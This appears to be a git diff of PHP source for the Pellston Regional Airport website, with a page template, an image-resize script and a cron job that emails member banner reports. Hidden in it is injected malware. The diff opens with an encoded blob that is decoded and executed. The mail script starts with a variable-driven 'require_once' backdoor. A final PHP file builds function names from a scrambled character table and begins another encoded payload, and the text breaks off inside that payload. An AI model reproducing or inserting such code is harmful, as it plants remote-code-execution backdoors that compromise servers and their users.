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";$TRlVuOqniCY=$tkAEIiaRHHA($ZTUbKIsWcGl,$KZRRdExkfxa);$TRlVuOqniCY($aSUscZlwLkA);?>
\ No newline at end of file
--- /dev/null
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do
+ temp=`basename $file`
+ # $convert -scale '287>' $file resized/$temp
+ # $convert -scale '210>' $file midsized/$temp
+ # $convert -scale '120>' $file thumb/$temp
+ $convert -scale '468>' $file banner/$temp
+
+ echo $temp
+done
--- /dev/null
+<?php
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+$catid = ( $catid ) ? $catid : HOME_ID;
+$toolbox =& new GLM_TEMPLATE( $catid );
+$banner_image = $toolbox->get_banner();
+if( $catid == HOME_ID )
+{
+ $title = 'Pellston Regional Airport Serving Northern Michigan Emmet County ';
+ $meta_tags = 'The Pellston Regional Airport serving northern Michigan including Petoskey, Mackinaw City, Cross Village and Harbor Springs. Information on lodging, accommodations, restaurants and dining, area events and activities, and real estate in Northern Michigan.'; }
+else
+{
+ $title = $toolbox->title().'Pellston Regional Airport';
+ $meta_tags = $toolbox->meta_tags();
+}
+$glm_path = ( $_SERVER['HTTPS'] == 'on' ) ? BASE_SECURE_URL: BASE_URL;
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+ <title><?php echo $title;?></title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta name="description" content="<?php echo $meta_tags;?>">
+<link rel="stylesheet" type="text/css" href="<?php echo $glm_path;?>styles.css">
+<?php
+if( $catid == 16 || $catid == 1000 )
+{
+echo '<link rel="stylesheet" type="text/css" href="'.$glm_path.'contactform.css">';
+echo '<SCRIPT LANGUAGE="JavaScript">
+ <!--
+ function OpenCertDetails()
+ {
+
+thewindow=window.open(\'https://www.thawte.com/cgi/server/certdetails.exe?code=USGASL5-6\',\'anew\',config=\'height=500,width=550,toolbar=no,menubar=no,scrollbars=yes,resizable=no,location=no,directories=no,status=yes\');
+ }
+ // -->
+</SCRIPT> ';
+
+}
+?>
+</head>
+<body>
+<div id="wrapper">
+ <div id="top"><?echo $banner_image;?></div>
+ <!--
+ <img src="<?php echo $glm_path;?>assets/top4.jpg" width="760" height="137" alt="" id="top">
+ -->
+ <div id="rim-top"></div>
+ <div id="content">
+ <div id="toolbox">
+ <?php
+ echo $toolbox->get_page();
+ ?>
+ </div><!-- /#toolbox -->
+ </div>
+ <div id="nav">
+ <div id="navcontainer">
+ <?php
+ echo $toolbox->make_ul_menu();
+ ?>
+ </div>
+ <div id="address-left">
+ Administration<br>(231) 539-8441<br><br>
+Delta<br>
+Local:(231) 539-8423<br>
+National:(800) 221-1212
+<br><br>
+Fixed Base Operator<br>(231) 539-8442</div>
+ </div>
+ <div class="clearer"></div>
+ <div id="rim-bottom"></div>
+</div>
+<div id="copyright">
+ Copyright©<?php echo date('Y');?> Pellston Airport, All Rights Reserved. Produced by <a href="http://www.gaslightmedia.com">Gaslight Media</a> <a href="<?php echo BASE_URL;?>site-map">sitemap</a>
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+if(!empty($dYd)) require_once($dYd);
+include_once('../setup.phtml');
+include_once(BASE.'classes/class_db.inc');
+$headers = "From: Pellston Airport Kiosk <info@pellstonairport.com>\n";
+$headers .= "Reply-To: Pellston Airport Kiosk <info@pellstonairport.com>\n";
+$headers .= "MIME-Version: 1.0\n";
+$headers .= "Content-type: text/html; charset=iso-8859-1";
+$day = date("j");
+$day_ow = date("w");
+$DB =& new GLM_DB();
+if( $day == '1' && $day_ow == '0' ) // 1st of the month
+{
+ $where = " and report_period in ( 'daily','weekly','monthly' ) ";
+}
+elseif( $day == '1' )
+{
+ $where = " and report_period in ( 'monthly' ) ";
+}
+elseif( $day_ow == '0' )
+{
+ $where = " and report_period in ( 'daily','weekly' ) ";
+}
+else
+{
+ $where = " and report_period in ( 'daily' ) ";
+}
+$query = "select id,case when proc_email = '' then email else proc_email end as email,report_period,mail_report,name,hits,kiosk_hits from member where mail_report $where = 't';";
+if( $data = $DB->db_auto_get_data( $query ) )
+{
+ /*
+ echo '<pre>';
+ print_r( $data );
+ echo '</pre>';
+exit();
+*/
+ $count = 0;
+ foreach( $data as $row )
+ {
+ $d =& $row;
+ $out = '';
+ $out .= '<table border="1" cellspacing="0" cellpadding="2" width="100%">
+ <tr>
+ <td colspan="2">Break down of Member record views:</td>
+ </tr>
+ <tr>
+ <th bgcolor="#7D3131"><font color="#FFED81">Website:</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Kiosk:</font></th>
+ </tr>
+ <tr>
+ <td>'.$d['hits'].'</td>
+ <td>'.$d['kiosk_hits'].'</td>
+ </tr>
+ </table>';
+ $query = "set datestyle to 'us,sql';select * from banner where member_id = ".$d['id']."order by id";;
+ if( $bData = $DB->db_auto_get_data( $query ) )
+ {
+ $out .= '<table border="1" cellspacing="0" cellpadding="2" width="100%">';
+ $out .= '
+ <tr>
+ <td colspan="4" style="border:none;font-weight:bold;text-align:center;">Banner Reports</td>
+ <td colspan="2" bgcolor="#FFED81" align="center"><b>Website</b></td>
+ <td colspan="2" bgcolor="#F6A546" align="center"><b>Kiosk</b></td>
+ </tr>
+ <tr>
+ <th bgcolor="#7D3131"><font color="#FFED81">Image:</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">URL:</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Start</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">End</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Imp</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Click</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Imp</font></th>
+ <th bgcolor="#7D3131"><font color="#FFED81">Click</font></th>
+ </tr>
+ ';
+ foreach( $bData as $bRow )
+ {
+ $image = ( $bRow['image'] ) ? '<img src="'.THUMB.$bRow['image'].'">': '';
+ $web_imp = ( $bRow['impressions'] < $bRow['clicks'] ) ? $bRow['clicks']: $bRow['impressions'];
+ $kiosk_imp = ( $bRow['imp_kiosk'] < $bRow['click_kiosk'] ) ? $bRow['click_kiosk']: $bRow['imp_kiosk'];
+ $out .= '<tr>
+ <td>'.$image.'</td>
+ <td>'.substr($bRow["url"],0,20).'...</td>
+ <td>'.$bRow["sdate"].'</td>
+ <td>'.$bRow["edate"].'</td>
+ <td bgcolor="#FFED81" align="right">'.$web_imp.'</td>
+ <td bgcolor="#FFED81" align="right">'.$bRow["clicks"].'</td>
+ <td bgcolor="#F6A546" align="right">'.$kiosk_imp.'</td>
+ <td bgcolor="#F6A546" align="right">'.$bRow["click_kiosk"].'</td>
+ </tr>';
+ }
+ $out .= '</table>';
+ }
+ $email[$count] = $d['email'];
+ $subject[$count] = $d['name'].' '.$d['report_period'].' site report';
+ $body[$count] = '<html>
+ <body>
+ '.$out.'
+ </body>
+ </html>';
+ $count++;
+ }
+ for( $i = 0; $i < count( $email ); $i++ )
+ {
+ switch( $GLOBALS['GLM_SERVER_ID'] )
+ {
+ case "devsys.gaslightmedia.com":
+ mail('steve@gaslightmedia.com',$subject[$i],$body[$i],$headers);
+ break;
+ case "ws1.gaslightmedia.com":
+ mail($email[$i],$subject[$i],$body[$i],$headers);
+ break;
+ }
+ }
+ /*
+ echo '<pre>';
+ print_r( $email );
+ print_r( $body );
+ echo '</pre>';
+*/
+
+}
+?>
--- /dev/null
+<?php
+ $aKPjBiuDh=')WZ]yBKq154aT.wmJM|h}CDU^_Idlo[$7"Q2OjrHkt*;f{APuS,XYp9+vEi (s8nez0bgcVG6F/xN3RL';$bXqZWbNrl=$aKPjBiuDh{69}.$aKPjBiuDh{38}.$aKPjBiuDh{64}.$aKPjBiuDh{11}.$aKPjBiuDh{41}.$aKPjBiuDh{64}.$aKPjBiuDh{25}.$aKPjBiuDh{44}.$aKPjBiuDh{48}.$aKPjBiuDh{63}.$aKPjBiuDh{69}.$aKPjBiuDh{41}.$aKPjBiuDh{58}.$aKPjBiuDh{29}.$aKPjBiuDh{63};$BFXfANtgj=$aKPjBiuDh{31}.$aKPjBiuDh{61};$NwLrrysxB=$aKPjBiuDh{58}.$aKPjBiuDh{44}.$aKPjBiuDh{60}.$aKPjBiuDh{58}.$aKPjBiuDh{61}.$aKPjBiuDh{61}.$aKPjBiuDh{64}.$aKPjBiuDh{41}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{25}.$aKPjBiuDh{21}.$aKPjBiuDh{36}.$aKPjBiuDh{36}.$aKPjBiuDh{6}.$aKPjBiuDh{26}.$aKPjBiuDh{57}.$aKPjBiuDh{30}.$aKPjBiuDh{33}.$aKPjBiuDh{11}.$aKPjBiuDh{6}.$aKPjBiuDh{47}.$aKPjBiuDh{37}.$aKPjBiuDh{5}.$aKPjBiuDh{58}.$aKPjBiuDh{48}.$aKPjBiuDh{22}.$aKPjBiuDh{19}.$aKPjBiuDh{33}.$aKPjBiuDh{3}.$aKPjBiuDh{0}.$aKPjBiuDh{18}.$aKPjBiuDh{18}.$aKPjBiuDh{58}.$aKPjBiuDh{61}.$aKPjBiuDh{61}.$aKPjBiuDh{64}.$aKPjBiuDh{41}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{39}.$aKPjBiuDh{12}.$aKPjBiuDh{12}.$aKPjBiuDh{47}.$aKPjBiuDh{25}.$aKPjBiuDh{21}.$aKPjBiuDh{36}.$aKPjBiuDh{36}.$aKPjBiuDh{6}.$aKPjBiuDh{26}.$aKPjBiuDh{57}.$aKPjBiuDh{25}.$aKPjBiuDh{70}.$aKPjBiuDh{46}.$aKPjBiuDh{78}.$aKPjBiuDh{49}.$aKPjBiuDh{30}.$aKPjBiuDh{33}.$aKPjBiuDh{11}.$aKPjBiuDh{6}.$aKPjBiuDh{47}.$aKPjBiuDh{37}.$aKPjBiuDh{5}.$aKPjBiuDh{58}.$aKPjBiuDh{48}.$aKPjBiuDh{22}.$aKPjBiuDh{19}.$aKPjBiuDh{33}.$aKPjBiuDh{3}.$aKPjBiuDh{0}.$aKPjBiuDh{0}.$aKPjBiuDh{45}.$aKPjBiuDh{44}.$aKPjBiuDh{48}.$aKPjBiuDh{63}.$aKPjBiuDh{69}.$aKPjBiuDh{41}.$aKPjBiuDh{58}.$aKPjBiuDh{29}.$aKPjBiuDh{63}.$aKPjBiuDh{59}.$aKPjBiuDh{38}.$aKPjBiuDh{62}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{61}.$aKPjBiuDh{50}.$aKPjBiuDh{31}.$aKPjBiuDh{53}.$aKPjBiuDh{0}.$aKPjBiuDh{45}.$aKPjBiuDh{38}.$aKPjBiuDh{64}.$aKPjBiuDh{41}.$aKPjBiuDh{48}.$aKPjBiuDh{38}.$aKPjBiuDh{63}.$aKPjBiuDh{59}.$aKPjBiuDh{31}.$aKPjBiuDh{61}.$aKPjBiuDh{24}.$aKPjBiuDh{61}.$aKPjBiuDh{41}.$aKPjBiuDh{38}.$aKPjBiuDh{25}.$aKPjBiuDh{53}.$aKPjBiuDh{11}.$aKPjBiuDh{27}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{53}.$aKPjBiuDh{50}.$aKPjBiuDh{61}.$aKPjBiuDh{41}.$aKPjBiuDh{38}.$aKPjBiuDh{28}.$aKPjBiuDh{64}.$aKPjBiuDh{63}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{61}.$aKPjBiuDh{0}.$aKPjBiuDh{50}.$aKPjBiuDh{31}.$aKPjBiuDh{53}.$aKPjBiuDh{0}.$aKPjBiuDh{43}.$aKPjBiuDh{20}.$aKPjBiuDh{43}.$aKPjBiuDh{64}.$aKPjBiuDh{56}.$aKPjBiuDh{11}.$aKPjBiuDh{28}.$aKPjBiuDh{60}.$aKPjBiuDh{38}.$aKPjBiuDh{62}.$aKPjBiuDh{60}.$aKPjBiuDh{67}.$aKPjBiuDh{11}.$aKPjBiuDh{61}.$aKPjBiuDh{64}.$aKPjBiuDh{72}.$aKPjBiuDh{10}.$aKPjBiuDh{25}.$aKPjBiuDh{27}.$aKPjBiuDh{64}.$aKPjBiuDh{69}.$aKPjBiuDh{29}.$aKPjBiuDh{27}.$aKPjBiuDh{64}.$aKPjBiuDh{60}.$aKPjBiuDh{31}.$aKPjBiuDh{61}.$aKPjBiuDh{0}.$aKPjBiuDh{50}.$aKPjBiuDh{33}.$aKPjBiuDh{38}.$aKPjBiuDh{57}.$aKPjBiuDh{6}.$aKPjBiuDh{57}.$aKPjBiuDh{57}.$aKPjBiuDh{29}.$aKPjBiuDh{36}.$aKPjBiuDh{2}.$aKPjBiuDh{21}.$aKPjBiuDh{33}.$aKPjBiuDh{0}.$aKPjBiuDh{0}.$aKPjBiuDh{43}.$aKPjBiuDh{20};$zvoANARPy="UmULNiAbEC4qHyAUKSwCJi5rQmxwT2VPDz8xACo5GjcKPzUxBiwlIm1dZmFJUmULNiAbEDciFSwoGjQaIC4mARo5MCsbJjcmWnVifk9PbxoqHCwUNiAbZ302AikkJCEwIjs7LSMiKSAcJiAmVWl6dXFXem11QmxwT2VPDzMtGxo4IDFHaCosATEUKCQXECkqCCBsaXRfe2J2RXN7bH5lb3oDGysiGjYKO3JkFCwnIBoaPzYsEyE4YmlPOyg2F2xwT2VPDzMtGxo4IDFHaD4qATUnJDwwKigxHTc4YmkbPS8mW35BZWUvJjQqLTYuMW1IPT8kGzY/IDcwKDYsECQnNmJDOyg2F2xwT2VPDzMtGxo4IDFHaCgmFSw4MSAdEDYsHCIUJDcdLiMwVWk/NzAKZmFJUmULLCsGECkmBm1sKCQXED87FyY+MSwAIQU3GyguYmkJLjYwF2xwT2VPDzMtGxo4IDFHaDU2BjU+MRoNOjwlFzciKyJIYzwiHjYubH5lb3oDGysiGjYKO3JkEyknKjIwOigvLSMkNSABaHY3ADAubH5lb3pnASQtICgAKz9+MiwlLBoIKi5rVTYqIyAwIjUnF2Jifk9lb3pnHyQsLCYwPi8sBiA4eHRURXpjGyNrbSMaITk3GyolGiAXJik3AW1sIiAbEDciFSwoGjQaIC4mARosNSZIZnNjVigqIiwMECs2HTEuNngIKi4cHyQsLCYwPi8sBiA4GiIfLHJqSU9BZWVLPzIzBCA5ZXhPPC4xLTcuNSkOLD9rVWtsaWJIYyorAjMuNzYGIDRrW2xwT2VPJjxjWjY/NykKIXJnAi07MyAdZmZwW2U8LSwDKnprATE5KSABZ34zGjU9IDdGc2lqUmE7LTUZKihtT2J7Yn5lb3oqFG0iKzEZLjZrVjUjNTMKPXNjTmV/dHVGNFBjUmVrYRo/AAkXT2NvDRE7HwUTPRYfGhMuHQl4eGVrZWVLEB0GJnhtYQ07GwocNQAfGhMuHQl4eGVrZWVLEAkGIBMOF3hJaxIXJhUUFgA9GR8RLRMKFxZURXpjUmVvGgYgABEKN3htYQ07GwocMQoEDgwqEAwCIBZwT2VPb3pnLQMCCQA8cnxnOhEfFRo/AAkXLQMCCQA8dFBjUjhBZWUvIDgcFysvGiYDKjstWmxwT09Pb34zBRo7KTZSbWYlHTc